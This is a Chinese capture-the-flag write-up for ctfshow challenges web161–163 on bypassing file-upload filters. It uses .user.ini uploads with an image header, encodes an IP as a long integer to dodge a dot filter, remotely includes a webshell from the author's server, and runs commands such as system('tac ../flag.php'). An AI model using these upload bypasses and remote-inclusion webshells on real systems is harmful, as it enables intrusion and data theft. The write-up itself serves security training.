目录
1、web161
2、web162
3、web163
1、web161
先传配置文件,可以上传成功
因为我前面给的 .user.ini 都是带了图片头 GIF89a 的,前面的题这个图片头可以去掉,但是在这里如果去掉是不行的。
因此后面上传的东西我们都带上这个图片头:
采用伪协议读取 flag.php
访问 upload 目录:
base64 解码
拿到 flag:ctfshow{85cc388e-a505-4da9-943a-9bf970de0d43}
2、web162
配置文件无法上传
进行模糊测试后,发现是点被过滤掉了
那么我们上传的文件名就不使用后缀即可:这里以 test 为例
但是我们上传的内容里也无法使用点,因此日志文件包含和伪协议读取的方法都无法使用。
这里我们让其包含远程服务器上的木马:
下面打码部分为我自己服务器 ip 地址的长整型格式
转换脚本:
#IP转换为长整型
def ip2long(ip):
ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): #0,1,2,3
result = result+int(ip_list[i])*256**(3-i)
return result
#长整型转换为IP
def long2ip(long):
floor_list = []
num = long
for i in reversed(range(4)):
res = divmod(num,256**i)
floor_list.append(str(res[0]))
num = res[1]
return '.'.join(floor_list)
print(ip2long('服务器ip地址'))
上传这个 test:
先命名为 test.png,绕过前端后抓包改回 test 再上传
访问 upload 目录:
报错
Warning: include(http://795707305/shell): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in /var/www/html/upload/test on line 2
Warning: include(): Failed opening 'http://795707305/shell' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/upload/test on line 2
默认情况下,PHP 配置通常不允许通过 include 或 require 语句包含外部 URL,所以我也不清楚它这里服务器上 php 的配置文件是否允许远程包含。
看了下我自己服务器的,这个选项确实是关闭的:
看了下网上其他师傅是可以的,但是不知道为啥我这里就是不行:
后面又去 b 站看了下视频,发现它远程包含的就是一个 php 文件,而我这里包含的 shell 是一个纯文本的东西,我最开始以为是将这段内容包含进了 index.php 的代码里,所以就没有考虑它不是 php 后缀是否可以正常解析的问题。
如何在没有 .php 后缀下又让它被当做 php 文件解析呢?
于是我将木马命名为 index.php,即首页文件
原以为这样我们就只需要包含 ip 地址,就可以包含到 index.php
但是测了一下,也是没有包含成功。
后面问了群里的师傅,说用 flask,我原本用的是 Apache 搭的服务,重置了服务器,Apache 和 php 其实都是刚下的,可能还需要配置点什么吧,不清楚,因此我们将木马放到 flask 服务上去。
这里也懒得传两次了,直接将要包含的 shell 放到 .user.ini 里面:(是可以这样进行包含的)
之后访问 upload:
没有出告警,说明这次应该是包含成功了
调用木马:
折腾死我了,终于拿到 flag:ctfshow{6309f5e7-6b49-4d9a-8ef3-26afc5d85754}
3、web163
和上一题一样的方法,而且这里如果传图片的话会被删掉,还只能将包含的 shell 位置直接放在配置文件里,而不能分开传。
访问 upload :
/upload/?cmd=system('ls');
/upload/?cmd=system('tac ../flag.php');
拿到 flag:ctfshow{1ccc238f-dfc2-4209-9c52-4fa46184d51e}